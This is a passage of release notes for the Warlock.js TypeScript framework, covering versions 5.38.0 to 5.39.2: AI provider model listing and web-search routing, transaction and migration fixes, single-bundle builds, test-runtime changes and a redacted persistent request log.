ApplyPatchInput,ApplyPatchResultandApplyPatchFileResulttypes;"applyPatch"joinsWorkspaceToolName. - ChangedThe package skill description now names the read, write and test tools (
makeReadFileTool,makeWriteFileTool,makeRunTestsTool) and the "apply a patch" phrasing, so agents find them from the skill listing alone.
- Added
openai.models()lists the models the key can use fromGET /modelsasModelInfo[], following pagination. Works on OpenAI-compatible gateways too, with the SDK's provider label. Groq'scontext_windowandactive, Mistral'sname,description,max_context_lengthandcapabilities, andcreated_atdates are read when present. - Added
OpenAIResponsesModelis exported, andOpenAISDK.compatibleResponses()builds it for vendor packages that serve/v1/responses(used by the xAI adapter). That mode sendsstore: falseand leaves out the OpenAI-onlyincludefields. - ChangedOn the direct
"openai"provider, a call that carries the hostedweb_searchtool (or its dated and_previewvariants) is now served by the Responses API automatically instead of failing with a 400 on Chat Completions. Calls without it stay on Chat Completions. - ChangedHosted
web_searchnow fails with a clearInvalidRequestError, before any request, on models OpenAI documents as unable to search (gpt-3.5*,gpt-4,gpt-4-turbo,gpt-4.1-nano,o1-mini,o1-preview,o3-miniand non-chat ids), ongpt-5*with minimal reasoning, and on a model pinned toapi: "chat". Nothing falls back silently.
- AddedNative
web_searchandx_searchnow work. A call that carries one of those tools is sent to xAI's Responses API (POST /v1/responses) with the same model, key and pricing; every other call stays on Chat Completions.xai.model({ api: "responses" })sends every call there, andapi: "chat"pins Chat Completions (a search tool then throws before any request). - Added
xai.models()lists the Grok models the key can use fromGET /v1/modelsasModelInfo[]. - ChangedNative search no longer throws "requires the Responses API"; it is routed to it. On a gateway that relabels
provider, the switch is not automatic: setapi: "responses"on the model.
- ChangedWith
web.moduleBoundary: "warn", each unique module-boundary violation (importer and target) is printed once per dev session instead of on every re-resolve, followed by a count of the repeats that were suppressed (periodically and when the bundle ends). A busy dev session used to print thousands of identical warnings."error"mode is unchanged. - ChangedIn development,
web.loaderTimeoutdefaults to 90 seconds instead of 15, because the first page after a start or a reload also pays for compiling the modules its loaders import. Production keeps 15 seconds, and an explicitweb.loaderTimeoutalways wins. - FixedThe first page after a
warlock devrestart could fail withPageLoaderTimeoutError(a 504 after about 20 seconds) while the server was still compiling. The loader timeout clock now starts only after a hot reload in progress has finished.
- AddedThe provider-neutral
contextEditing.clearToolResultsrule (from the agent'scontextEditingoption) maps to aclear_tool_usescontext edit:afterTokensbecomes the input-token trigger,keepthe number of tool uses kept andexcludethe excluded tools. An explicitproviderOptions.anthropic.contextManagement.clearToolUsesstill wins. The model now reportscapabilities.nativeContextEditing. - Added
anthropic.models()lists the Claude models the key can use fromGET /v1/modelsasModelInfo[], following pagination, with release date and token limits when the API reports them.
- Added
googleSearchBudget(maxQueries)andproviderOptions.google.search.budgetbound Google Search across the calls of one run. The Gemini API has no per-request search limit, so after each call the adapter adds the unique queries Google reported to the budget and, once it is spent, stops sending thegoogleSearchtool on later calls (other tools are kept). One call that is already running can still overshoot the budget. - Added
google.models()lists the models the key can use asModelInfo[], withkindfrom each model'ssupportedActions, token limits and description.
- FixedA manual
const tx = await driver.beginTransaction()now puts the queries you run afterwards inside the transaction. Before, the transaction was bound only to the driver's own internal step, so on MongoDB your next queries silently ran outside the transaction (no atomicity, androllback()did not undo them), and on PostgreSQL they ran on other pool connections the same way. Now every query the calling flow runs afterawait beginTransaction()uses the transaction's session untilcommit()orrollback(), and runs with no session afterwards. Other requests, timers and jobs running at the same time never see it.transaction(fn)is unchanged. - FixedThe standalone
cascade migrateloader skips*.spec.*and*.test.*files that sit in the migrations folder, so a test beside a migration is no longer imported and registered as one.
- Fixed
putJsonFileandputJsonFileAsyncnow write atomically (a temporary file in the same folder, then a rename). A process reading the file during a rewrite used to be able to see a truncated file and fail withUnexpected end of JSON input. - FixedAtomic writes on Windows now retry the final rename for about 4 seconds (10 ms doubling to a 150 ms cap) when another process has the target file open, instead of failing after 5 quick attempts with
AtomicWriteError(EPERM). Other platforms keep the short schedule.getJsonFileAsyncalso retries a read that hits a transientEPERMorEBUSY.
- ChangedThe
AGENTS.mdof a new project now has an "Upgrading Warlock.js" section: readnpx warlock release-notes --from <current version>(bundled in@warlock.js/core, so it works offline), runnpx warlock update, follow each release's upgrade notes, then runnpx warlock checkuntil it passes. It also explains that a package with several skills arrives as one grouped skill, a routerSKILL.mdlisting its topics with one file per topic to open on demand. - FixedA project scaffolded without the web feature no longer fails its first
tscwithCannot find module '@warlock.js/web'. The starter'ssrc/config/web.tsimports a type from@warlock.js/web, so it is now only kept in projects that install web; API-only projects no longer get it, andwarlock add sitemapcreates it when needed.
- ChangedThe package skill description now names
cannot,canAll,canAny,authorizeandsetAccessConfig, so agents find the full checking API from the skill listing alone.
- Added
bedrock.models()lists the foundation models in the SDK's region throughListFoundationModelsasModelInfo[], withkindfrom the output modalities. Legacy models are left out. It adds@aws-sdk/client-bedrockas a dependency and needs thebedrock:ListFoundationModelspermission.
- Added
deepseek.models()lists the models the key can use asModelInfo[].
- Added
groq.models()lists the models the key can use asModelInfo[], withcontextWindow; models Groq marks inactive are left out.
- Added
mistral.models()lists the models the key can use asModelInfo[], withcontextWindow,descriptionand akindtaken fromcapabilities.completion_chat.
- Added
ollama.models()lists the models pulled on the daemon fromGET /api/tagsasModelInfo[], with the last-modified time ascreatedand embedding models (bertfamilies) askind: "embedding".
- Added
ai.mcp(server, { lint })sets the development schema-lint option on every adapted remote tool:falsesilences it,{ ignore: [codes] }drops chosen finding codes. Remote schemas are sent as the server wrote them, so the app often cannot act on the findings.
- ChangedThe package skill description now names
ArrayValidatorand the mutator and transform phrasings, so agents find them from the skill listing alone.
5.39.2October 27, 2026
model.set() takes an object, a check for deep-merged object columns, and a transaction session fix. model.set({ ... }) sets several fields in one call: a top-level key replaces the whole field, a dot-path key such as "settings.theme" writes one leaf, persisted models ignore identity columns, and overlapping keys throw before anything is written; each key and value is typed from the model schema. warlock check adds WL9025, a warning for model.merge({ ... }) on a column the schema declares as an object, record or array of objects, since merge() keeps nested keys the caller removed. Work armed inside transaction() (a timer, a queue, a fire-and-forget promise) that runs after the transaction ended no longer reuses its session: on MongoDB it threw MongoExpiredSessionError, on PostgreSQL it ran on a released pool client; it now runs with no session, outside any transaction, and afterCommit() remains the tool for work that must follow a COMMIT. No breaking changes.
Full release notes or run npx warlock release-notes.
- Added
model.set({ ... })accepts an object and sets several fields in one call. Each entry behaves exactly likeset(key, value): a top-level key replaces the whole field (objects and arrays are never merged), and a dot-path key such as"settings.theme"writes only that leaf. Casting, dirty tracking and whole-field updates are the same as the single form. Persisted models drop identity columns from the object, asmerge()does, and keys that overlap (settingswithsettings.theme) throw before anything is written. In a typed model each key is a column, a system column or a dot path, and each value is checked against its column type. Sosetreplaces, a dot path targets a leaf, andmergedeep-merges. Themerge()JSDoc now says that nested objects are deep-merged and that removed keys are kept. - FixedWork armed inside
transaction()(asetTimeout, a queue, a fire-and-forget promise) no longer reuses the transaction's session after it ended. Before, a Cascade query in that work ran on the finished MongoDB session and threwMongoExpiredSessionError: Use of expired sessions is not permitted, and on PostgreSQL it ran on a pool client that had already been released. Now, once a transaction commits, rolls back or fails, that work runs with no session, outside any transaction:hasActiveTransaction()is false,afterCommit()runs on the next microtask, andtransaction()opens a fresh transaction. This coverstransaction()on both drivers and MongoDB'sbeginTransaction(), including retried MongoDB attempts. UseafterCommit()for work that must run after the COMMIT.
- Added
warlock checkruleWL9025(warning):model.merge({ column: {...} })on a Cascade model whosestatic schemadeclares the column as an object, record or array-of-objects validator.merge()deep-merges, so keys the new value omits stay stored; the message suggestsset({ column: ... })orset("column", value). Receivers resolve likeWL9021; there is no autofix.
5.39.1October 26, 2026
Fixes for test-run exits, migrations, standalone builds and log channels. Shutdown of the HTTP test server, warlock start and per-worker test teardown now stops every running @warlock.js/scheduler scheduler, so a suite whose app starts a scheduler while loading no longer waits out Vitest's 10-second close timeout. warlock migrate releases its lock and closes every data source on every exit path (including Ctrl+C / SIGTERM), bounds the MongoDB connect, prints a heartbeat for long migrations, takes an opt-in --timeout, and names the failing migration and step with recovery advice. build.singleBundle no longer bundles Vite listed under devDependencies, keeps build-time tools out of the bundle, stages aliased native packages under the imported name, stages only reachable native packages and warns about ones it cannot copy. LogChannel.ready resolves after a channel's deferred init, and a channel disposed before init no longer arms its flush timer. No breaking changes.
Full release notes or run npx warlock release-notes.
- AddedA migration that runs long prints
still running "<name>", step N of M, <n>s elapsedat 30 s and then every 60 s. Migrations are not aborted by default, so a long index build is never left half-applied. - Added
warlock migrate --timeout <seconds>(orWARLOCK_MIGRATION_TIMEOUT_MS, in milliseconds) opts in to a hard limit per migration. A migration that exceeds it fails with a message naming it, and the command exits 1. - Fixed
warlock migrateexited without releasing the migration lock or closing the database client, on success, on failure and onCtrl+C/SIGTERM. Server-side sessions and the lock document were left behind for the server to expire, so a run started soon after another could stall. It now releases the lock and closes every data source before the process exits on every path (exit 130 / 143 on an interrupt), with a bounded wait so shutdown cannot hang. - FixedA failed migration reports which migration (and, on MongoDB, which step) failed, that no ledger row was written, and how to recover.
- Fixed
build.singleBundleno longer bundles Vite when an app listsviteunderdevDependencies. Onlydependencies,optionalDependenciesandpeerDependenciescount as declared by the app, so a dev dependency no longer turns a framework's lazyimport()into an inlined package (which had growndistby about 60 MB and staged therolldownandlightningcssnative addons). - FixedBuild-time tools (
vite,rolldown,lightningcss,esbuild,oxc-parser,@vitejs/*,@babel/*except@babel/runtime, and their platform packages) are never bundled or staged bysingleBundlebuilds when framework code imports them, even when the app lists them underdependencies. They are kept in one list. A third-party library that imports one at module level is still bundled so it keeps working with nonode_modules. The throwing stand-in foroxc-parserapplies only when the app does not declare it. Imports from your own source files are unaffected. - FixedA native package installed under an npm alias (
"node-pty": "npm:@lydell/node-pty") is staged indist/node_modulesunder the name that is imported (node-pty), not under the real package name, so the import resolves fromdist/. - FixedNative packages are staged only when the finished bundle still imports them.
- FixedThe build prints a warning naming a native package it could not copy because its
os/cpu/libcexclude the build machine, instead of skipping it silently. - FixedThe HTTP test server's shutdown now stops every
@warlock.js/schedulerscheduler that is still running. An app that starts a scheduler from a module's boot file (as the scaffolded app does) left a timer armed in the Vitest main process, so a green run ended withclose timed out after 10000msandsomething prevents N Vite servers from exiting, about ten seconds late. The connectors manager now stops running schedulers, waiting up toapp.shutdownTimeoutfor in-flight jobs, before it tears the connectors down; this also applies towarlock startand other shutdown paths.
- Added
MigrationRunnerwarns while a migration runs long (still running "<name>", step N of M, <n>s elapsed, at 30 s and then every 60 s) and never aborts one by default. A hard limit is opt-in:stepTimeoutMsoption,setStepTimeout(ms)/getStepTimeout()or theWARLOCK_MIGRATION_TIMEOUT_MSenvironment variable. A migration or transactional batch that exceeds it fails with a message naming it.MigrationRunner.releaseActiveLocks()releases the migration lock of a run that is being interrupted. New exportsStepTimeoutErrorandwithTimeout. - FixedA MongoDB migration that failed part-way now says which step failed (
step 3 of 5: createIndex on "orders"), how many steps were already applied, that no ledger row was written, and that re-running is safe because index creation is idempotent. - Fixed
MongoDbDriver.connect()is bounded (server selection plus connect timeout, 30 s each by default) and fails with a clear message instead of waiting silently.disconnect()falls back to a forced close when the graceful close stalls for 10 seconds.
- Added
LogChannel.ready: a promise that resolves once the channel's deferredinit()has finished. Await it before relying on the channel being set up, for example before removing its storage directory in a test. - FixedA
FileLog/JSONFileLogdisposed before its deferredinit()ran still created its directory and armed the 5-second flush interval afterwards, which kept the process alive and could fail withENOENTwhen the directory had been removed. A disposed channel now skipsinit(), including whendispose()lands whileinit()is creating the directory.
- FixedA started scheduler is now listed in a process-wide registry until it stops, so the host (
@warlock.js/core) can stop it on shutdown. Previously an application that never calledshutdown()kept the process alive through the scheduler's tick timer. - Fixed
shutdown()no longer leaves its timeout timer armed when the running jobs finish first.
5.39.0October 26, 2026
Standalone builds, release notes in every install and typed-model fixes. build.singleBundle now works with web pages: the server is one dist/app.js that runs with no node_modules, native addons are staged automatically, optional integrations are detected, build-time tools are left out and React runs its production build. webConnector({ build: { chunks, precompress } }) controls the client output (split, merged or single chunks, with or without .br/.gz copies), with a desktop and offline recipe. The release summaries now ship inside @warlock.js/core, read by warlock release-notes (--from, --list, --json) and pointed to by warlock upgrade and warlock update. Typed models accept their system columns (id, timestamps, soft delete) and set() reports value mismatches clearly. Config files no longer walk the app graph at boot, onPageError() registers the error-report hook at runtime, and warlock doctor warns when config imports app code. Browser requests that core refuses on a page host render the site page. New apps and warlock upgrade --check install on npm 10.9. No breaking changes.
Full release notes or run npx warlock release-notes.
- Added
warlock doctorcheckconfig-app-imports: warns when a file undersrc/configimports (statically or withimport()) anything undersrc/app, naming the file and the import. Type-only imports are not reported. - AddedRoute option
handlesRefusalsand therefusalStatusOf(request)helper. AGETroute markedhandlesRefusalsanswers core-level refusals for requests that accept HTML. - Added
warlock release-notesprints the family release summaries that now ship inside the package (releases/<version>-summary.md, 5.30.0 onward). With no arguments it prints the installed version's summary;--from <version>(optionally--to <version>) prints every release after it, oldest first, led by a combined list of breaking changes;--version <v>prints one release;--listlists the versions with dates;--jsonprints{ versions: [{ version, date, breaking, markdown }] }. It reads files only, so it needs no network and no booted app. A version the package does not ship is reported with its GitHub release URL. - Added
warlock upgrade,warlock upgrade --checkandwarlock updateend withWhat's new: npx warlock release-notes --from <old>, and theAGENTS.mdsection thatwarlock agents-mdgenerates names the installed version and the command. - AddedThe
update-packages,deploy-releaseandupgrade-from-5-29skills tell agents to runnpx warlock release-notes --from <current>before upgrading. - Changed
--versionand-vprint the Warlock version only when no command is given, so a command can take its own--versionoption. - ChangedThe production bundle defines
globalThis.__WARLOCK_PRODUCTION_BUNDLE__astrue, so framework branches that only the development server or the build can reach are removed from it together with the modules they import. Abuild.defineentry of the same name overrides it. - Fixed
WL9024applies to any integration spec (any*.spec.tsor*.test.tsthat is not*.unit.*, or anything undertests/), and its fix text now says to rename the file to<name>.unit.spec.tsoutsidetests/(it still said*.test.tsto*.spec.ts). This corrects the 5.38.0 note below. - Fixed
warlock upgrade --checkinstalls in the scratch copy withnpx -y npm@11.6.2when the npm on PATH is older (npm 10.9 crashes on the family's lockfile withCannot read properties of null (reading 'edgesOut'), which skipped every later step);--fromis inferred from the installed@warlock.js/core. - FixedLoading config files walked every module the config reached.
loadConfigFilesregistered each config file together with its whole transitive import graph (dynamicimport()included), file by file, in every process that loads config. A config such assrc/config/web.tswhoseerrors.reportimported an application service made each test worker spend minutes in setup; the walk grew with the size of the application (about 480 seconds for a 3,000-module graph, measured). Config files are now registered with their direct import edges only; the dev server still builds the full graph from its own scan. - FixedA request core refuses before routing answered raw JSON to a browser: a dot-segment or path-traversal path on the public mount (
/public/../x, 403) and a malformed URL (400). When the app has a route markedhandlesRefusals(the web package's page catch-all), aGETorHEADrequest that acceptstext/htmlis handed to it; other requests keep the JSON answer. - Fixed
build.singleBundlenow builds an app that uses@warlock.js/web: the server pages and routes are inlined intodist/app.js, andnode dist/app.jsstarts from a copy ofdist/with nonode_modulesabove it. - FixedOptional integrations need no hand-written
externallist. In asingleBundlebuild, a lazyimport()orrequire()of an optional peer (or optional dependency) that a framework package lists and the app does not declare stays a lazy runtime import that never runs, and the build report names it. An import the app itself makes, or a package the app declares, is still bundled or fails the build. - FixedNative addons are handled automatically in a
singleBundlebuild. A package with a.nodebinary (or a napi loader whose platform package holds one) stays external and is copied intodist/node_modules/<package>with only what it needs to load: its JavaScript, binaries and data files, the dependencies it loads and the platform packages that match this machine. The build report names each one. - Fixed
warlock buildprints the number of files and the total size ofdist/when it finishes. - FixedA
singleBundlebuild settlesprocess.env.NODE_ENVto"production"insidereact,react-domandscheduleronly, so React's development build is dropped from the bundle. Aprocess.env.NODE_ENVentry inbuild.defineturns this off. Other reads ofNODE_ENVare untouched. - FixedIn a
singleBundlebuild the native parseroxc-parser, imported by framework code that only the build, check and scan commands call, is replaced by a module that throws if it is ever called. The build names it, anddist/node_modulesis created only for native packages the app itself uses. - Fixed
warlock buildin a source checkout runs the route-registration child from its TypeScript source through the CLI loader when the compiled child is absent, instead of failing. - FixedA
singleBundlebuild failed onreact-dom/server.node: the native-addon plugin took any import specifier ending in.nodefor a compiled addon. It now treats only a path that resolves to a real.nodefile as one.
- Added
onPageError(hook), exported from@warlock.js/web/connector: registers a server error-report hook at runtime, from a module'smain.ts. It receives the same(error, context)asweb.errors.report, runs through the same bounded fire-and-forget queue next to it, and returns a function that removes it. Use it instead of importing application code intosrc/config/web.ts. Exports thePageErrorHook,PageErrorInfoandPageErrorKindtypes. - FixedA core-level refusal on a page host answered raw JSON in a browser:
/public/../x(403, dot-segment guard) and a malformed URL (400). AGETorHEADrequest that namestext/htmlinAcceptnow renders the site'sforbidden.page.tsxfor 401 and 403, otherwiseerror.page.tsx, then the framework fallback page, with the refused status. In multi-site mode the site is chosen by host as for any page. API clients and other requests keep the JSON answer. - FixedConnector build options
webConnector({ build: { chunks, precompress } }).chunksis"split"(the default: a React vendor chunk, the entry, a lazy chunk per page and shared chunks),"merged"(the same lazy page loading with small shared chunks packed together by size, far fewer files) or"single"(one JavaScript entry and one stylesheet, dynamic imports inlined; single-site apps only).precompress: falseskips the.brand.gzcopies of every client asset (defaulttrue). Final-bytes chunk names, dedupe, the integrity check, preload lists and payload budgets work in every mode.build.singleBundlein core does not change them; the desktop and offline app recipe sets both. - FixedExports from
@warlock.js/web/vite:ClientChunkMode,resolveClientChunkModeandclientCodeSplitting;buildHydrationClienttakeschunks. - FixedA production server built with
singleBundlecarried Vite and the development server insideapp.js, through the connector's build contribution and its development-server branches. The page scanner and the Babel parser came in the same way, through the development page installer and theserverbarrel the production installer loaded. All of them are left out of the production bundle, and the server never loads Vite. - FixedA build copied away from its project could not find its client bundle: the page manifest stored
dist/clientrelative to the working directory. When aclientfolder sits next to the running bundle it is used, sonode app.jsworks from any working directory in a copy ofdist/.
- Fixed
get()andset()on a model declared with a schema type accept Cascade's system columns without declaring them:id(number),_id,created_at/updated_at(Date),deleted_at(Date | null) and their camelCase spellings. A column the schema declares keeps its own type, so a renamed timestamp or a stringidgoes in the schema. NewModelSystemColumnsandModelColumnstypes. - Fixed
set(key, value)with a wrong value type now reports the value mismatch instead of a misleading error about dot paths. A column named at runtime is set with a key typedK extends ModelKey<Schema>.
- Fixed
npm installin a fresh scaffold no longer crashes on npm 10.9 (the npm bundled with Node 22) withCannot read properties of null (reading 'edgesOut'): the template pins Vitest 5.0.5, because the Vitest releases before it trip that npm bug on their own. TheedgesOuthint stays as a last resort.
5.38.0October 25, 2026
Persistent request log, faster test runtimes, stable chunk names and typed models. http.logging.requests writes one redacted record per request, read by devtools (history, copy as curl), warlock logs and the MCP request_log tool, and every 5xx is logged once as request.<phase>. New apps run tests with worker lifetime and per-file resets, *.unit.spec.ts files run without booting the app, the HTTP test server closes the web connector's Vite servers, and tests.profileSetup prints a per-phase boot profile. Production chunks are named after their final bytes, identical chunks are merged, builds check integrity against the previous build and enforce payload budgets. Seal keeps optional enums and literals nullable in openai-strict and names unlabelled fields in words; AI tools get per-provider schema lint, a tool-use contract, eval scorers and agent traces in devtools. Page routes render a per-site forbidden.page.tsx instead of JSON for 401/403, warlock upgrade --check rehearses upgrades, warlock doctor renders each site, typed capabilities and inspect --section wiring show auto-loaded wiring, and *.client.ts(x) is an enforced client-only boundary. Breaking: typed models type get() and set() from their schema.
Full release notes or run npx warlock release-notes.
- AddedTest file convention:
*.unit.spec.tsand*.unit.test.tsrun in the Vitestunitproject (no setup files, no app boot, threads pool); every other*.spec.tsand*.test.ts, and anything undertests/, runs in theintegrationproject.guardUnitProject()checks the.unit.files, andWL9024now flags any integration spec that never touches the app and suggests renaming it to<name>.unit.spec.ts. Existing apps keep their own globs; the 5.38 upgrade note and thetest-runtime-worker-lifetimestep list how to adopt the convention. - AddedValidation messages name a field without a translated label in words:
max_dumbbell_kgreads "Max dumbbell kg" andfirstNamereads "First name" instead of the raw key. Labels underattributes.<field>still win, andvalidation.attributes.<field>is read too whenvalidation.attributeGroupis not set. Only the validated field and sibling fields a rule refers to are turned into words.validation.humanizeAttributes: falsekeeps the raw key. - Added
warlock doctorcheckvalidation-labels(WL4002), off by default: withvalidation.warnMissingLabels: trueit lists request-schema fields that have no label in a locale ofapp.localeCodes. - Added
warlock checkruleWL9021(warning): a Cascade column read or written as a model property (user.email). It recognises instances fromnew User(), the single-record finders (find,first,create, ...), aUserannotation andthisinside a model class, and compares the name with the keys of the model'sstatic schemawhen they can be read statically.warlock check --fixrewrites reads tomodel.get("column")and plainmodel.column = value;statements tomodel.set("column", value). - AddedEvery 5xx the HTTP layer answers writes one error-level log record (
module: "http",action: "request.<phase>"), once per request, in the same shape as the page-failure record of@warlock.js/web:name,message,stack,phase(csrf,middleware,validationorhandler),file(the routes file),routeName,routePath,handler,middleware(the middleware that threw),method,pathname(no query string),requestIdandstatusCode. It covers throws from route middleware, request validation and controllers, and a 5xx a handler returned without throwing; a returned503is treated as an intentional answer and not logged. A 4xx is never logged as an error. With no log channel configured the failure still goes toconsole.error. - AddedIn
developmentthe JSON error body of a thrown error and of the opaque 500 includesrequestId. Production bodies are unchanged. - AddedPersistent request log,
http.logging.requests: one redacted JSON record per request, written after the response is sent through buffered logger channels. A record holds the id and trace id, time, method, URL (credential query values masked), route name and pattern, params, query, headers, body,session: { userId, userType }, IP, status, duration, response size (and headers and body wheninclude.responseis on), phases, the log entries emitted during the request, a query summary (count, slowest query, N+1 findings) and, for a5xxor a request that threw, the error with its stack, phase, page file and site.RequestLogRecord,listRequestLogs(),getRequestLog(),requestLogToCurl()andcompileRequestLogFilter()are exported. - Added
http.logging.requestsoptions:enabled(default on in development, off elsewhere),channels(logger channel names or instances; default a daily JSON-lines filestorage/logs/requests/YYYY-MM-DD.jsonl),only("all","errors","slow"; default"all"in development and"errors"elsewhere),slowMs,sampleRate(errors are always kept whenonlyincludes them),include(headers,body,query,params,session,response,stack,logs,queries,phases),maxBodyBytes(default 16 KB, a larger body ends with a truncation marker) andretention: { maxDays, maxSizeMb }for the default file channel, which prunes on boot and when a new day's file starts. - AddedOutside development the request log records request headers through an allowlist, and leaves the request and response bodies out unless
include.body/include.responseis set. The logger's redaction,http.logging.privateURL rules and a route'slogging: { body: false, query: false }apply to every record, and uploaded files are recorded as{ file, mimeType }only. - Added
warlock logs requests [--status 5xx|404] [--route name] [--since 1h] [--limit n] [--json]lists persisted requests andwarlock logs request <id> [--json]prints one in full. Neither boots the app. - AddedMCP tool
request_log(read-only): lists persisted requests withstatus,route,method,since,qandlimitfilters, or returns one full record byid. - AddedSkill
request-log. - Changed
warlock add testgenerates the new layout: theunitproject includessrc/**/*.unit.{spec,test}.ts, andintegrationincludessrc/**/*.{spec,test}.ts,src//tests//*.{test,spec}.tsandtests/**/*.{test,spec}.ts, excluding*.unit.*. An existingvite.config.tsis never overwritten. - ChangedThe three separate error-level entries for a 5xx (
request-error,model-write-validation-errorandunhandled-request-error) are replaced by the single record above. The per-requesthttp.logline is unchanged. - Changed
setupTest({ lifetime: "file" })opts one file out of a worker-scoped runtime (tests.lifetime: "worker"). The worker's shared runtime is shut down, the file boots a fresh one that its ownteardownTest()closes, and the next file returns to the worker lifetime. Use it for a spec that changes global configuration the per-file reset does not undo. - ChangedA worker-scoped runtime now resets more between files, in addition to the database and the fakes: test HTTP servers left open are closed, the request context is cleared, the route table returns to the snapshot taken after the app booted (routes a file registered by hand are removed, the app's own stay), and a real in-memory cache driver is flushed.
router.captureBootSnapshot()androuter.restoreBootSnapshot()are the router side of it. - ChangedPer-phase boot profile. With
tests.profileSetup: trueorWARLOCK_TEST_PROFILE=1, each file's profile also carries oneconnector.<name>entry per connector (boot()plusstart()) andappModules,startHttpTestServer()prints and publishes its own phases, andTestSetupReporterprints the phases (config, translations, connectors, fakes, routes, reset, teardown), each connector, the HTTP test server's boot and the slowest files in the run summary.WARLOCK_TEST_PROFILE_JSON=<path>ornew TestSetupReporter({ json, slowest })also writes the profile as JSON.connectorsManager.observeTimings()exposes the connector timings. - Changed
guardUnitProject()in@warlock.js/core/vite: a plugin for the Vitestunitproject that fails a spec importing a connector,connectorsManager,bootstrapor a test-server helper, or callingsetupTest()without{ mode: "unit" }, with a message naming the import and pointing to the integration project.setupTest()outside unit mode also throws whenWARLOCK_TEST_PROJECT=unit. - Changed
warlock checkreportsWL9024(a warning) for an integration spec (*.test.ts, or a spec undertests/) that imports nothing needing the app, with the hint to move it to the unit project. - ChangedUpgrade codemod
test-runtime-worker-lifetimelists where an existing app can opt in to the worker lifetime (src/config/tests.tswithout alifetime) and aunitproject withoutguardUnitProject(). It edits nothing; existing apps keep their test configuration. The 5.38 upgrade note says the same. - Changed
warlock add testgenerates the worker lifetime as the default:src/config/tests.tssetslifetime: "worker"andresetDatabase: trueunlessWARLOCK_TEST_LIFETIME=file, the integration project hasisolate: falsefrom the same variable, and theunitproject runs in threads withguardUnitProject(). Existing files are never overwritten. - ChangedAuto-loaded
utils/locales.tsis deprecated. The development and production-build warning now names every legacy file, andWL9101already lists them inwarlock doctor. Removal is planned for v6, not this release; move toutils/locales.jsonwithwarlock doctor --fix. - ChangedThe starter template (
create-warlock) ships JSON dictionaries (app/auth/utils/locales.json,app/shared/utils/locales/*.json) instead ofutils/locales.ts. - ChangedThe
console.errorfallback for an unhandled request error, used when no log channel is configured, ignores passive channels (seeLogChannel.passivein@warlock.js/logger), so the request log's log collector never silences it. - Changed
warlock aino longer marks--modelas required in its option list;warlock ai measurestill requires it and reports a missing value. - FixedLoading
warlock.config.tskeeps@warlock.js/*imports external even when the project's tsconfigpathsmaps them to local source (a monorepo checkout). The config bundle used to inline a second copy of core and the web connector, whose container never held the application's HTTP server. - FixedThe HTTP test server (
startHttpTestServer()) registers the connectorswarlock.config.tsdeclares, aswarlock devdoes. The web connector was never started under it, so a page request answered 404. - FixedA test run that booted the web connector no longer ends with
something prevents 2 Vite servers from exitingandclose timed out after 10000ms.stopHttpTestServer()and the worker teardown shut the web connector down even when it had booted but not started, closing Vite, its HMR websocket and its file watchers, and teardown names any connector still active afterwards. - FixedThe 5.36 upgrade note and the testing docs and skills now say that Vitest 5's
clearMocks: truedefault also clears calls a module made when it was imported (a scheduler registering jobs from amain.ts), before the first test runs. Import the module inside the test, or setclearMocks: false. - Fixed
warlock upgrade --check: rehearses an upgrade on a scratch copy of the app and never writes the real project. The project (withoutnode_modules,.gitandstorage) is copied to a temporary directory, the upgrade (package.jsonand codemods) is applied there, dependencies are installed there with the app's package manager, and typings, typecheck,warlock doctorand theunitVitest project run against the result. The report lists the breaking changes that hit the app and the outcome of each step. Every child process runs one at a time, at low priority, with a heap cap (--memory-mb, default 4096) and a time limit (--timeout-minutes, default 20);--skip-installapplies the upgrade to the copy and stops there, and--keepleaves the copy on disk. Exit code 1 when a step failed. - Fixed
warlock doctorchecksites: in an app withweb.sites, renders the root page of every site with fixed hostnames through the development page pipeline, in this process with no port, and fails (WL5005) with the status, the phase and the page file of any 5xx. - FixedCapabilities:
defineCapability<T>(name, { description, required }),provideCapability(capability, implementation),useCapability(capability),hasCapability(capability)andlistCapabilities()give a module-cycle-breaking slot a typed, discoverable home.useCapabilitythrowsWL2008when nothing provided it.warlock doctorwarns (WL2008) when a required capability has no provider after boot (checkcapabilities). - Fixed
warlock inspect --section wiringand the MCP toolinspect_wiring: every auto-loaded file (config, locales, events,main.ts,routes.ts, workers) with its module and boot load order, followed by every capability slot with its provider and consumers. The section is part of the inspect report JSON Schema. - FixedNew skill
use-capabilities. - Fixed
warlock agents-mdlists the skill of a package that ships a singleskills/SKILL.md(for example the AI provider packages and@warlock.js/sitemap). Its slug is the front-mattername, else the package name. - FixedPackage manager detection no longer lets a stale
pnpm-workspace.yamlandpnpm-lock.yamlwin over the lockfile actually in use. The order is now thepackageManagerfield; then the manager that installednode_modules(.package-lock.jsonfor npm,.pnpmor.modules.yamlfor pnpm,.yarn-state.ymlor.yarn-integrityfor yarn,.bunfor Bun); then the lockfile that lists every dependency ofpackage.json, elsebun.lock, else the most recently written one; apnpm-workspace.yamlcounts only when there is no lockfile at all.warlock updatealways prints which manager it chose and why. - Fixed
warlock checkreportsWL9022when server-only code (controllers, services, repositories, models, connectors,routes.ts,main.ts,worker.ts,events/and*.server.*files) imports a*.client.ts(x)module, directly or through other files. The message names the import chain, and a type-only import is not reported. - Fixed
warlock checkreportsWL9105when a translation key of a module dictionary is missing a configured locale. The configured locales arelocaleCodesinsrc/config/app.ts, orlocaleCodesin.warlock-check.json, which wins; the rule is skipped when neither names any. - FixedOpt-in
WL9023finds hand-maintainedindex.tsbarrels in app modules (anindex.tsthat only re-exports). It is off until.warlock-check.jsonsetsrules.WL9023to"warning"or"error". - FixedPer-feature locale files:
src/app/<module>/utils/locales/<feature>.jsonis merged with the module'sutils/locales.jsonin development, in the production build and in test workers, under the module's namespace unless the file names its own$group. A key may live in one file only. Web's per-page translation tables are built from the same registry, so they see the merged dictionary. - Fixed
generate: { barrels: false }inwarlock.config.tsmakeswarlock generate,warlock makeandwarlock add accesswrite noindex.tsbarrel (for models) and import the model file itself in the files they generate. The default staystrue. - Fixed
warlock doctor --fixconverts a legacyutils/locales.tsintoutils/locales/legacy.jsonwhen the module already has alocales.json, as long as no key appears in both; it still writeslocales.jsonwhen there is none. - Fixed
warlock ai tools --tools <module>lists each tool's estimated tokens per call and its per-provider schema findings (OpenAI strict, Anthropic, Google);--targets,--warn-above,--fail(exit 1 on an error-level finding) and--json. - Fixed
warlock ai trace [runId]reads the agent traces held by the running dev server: a run list, or one run turn by turn (system prompt hash, tools offered, calls, refusals, retries, usage, cost);--diff <otherRunId>compares the prompt and tool definitions of two runs;--url,--devtools-pathand--json. Both need@warlock.js/ai5.38.0 or newer.
- Added
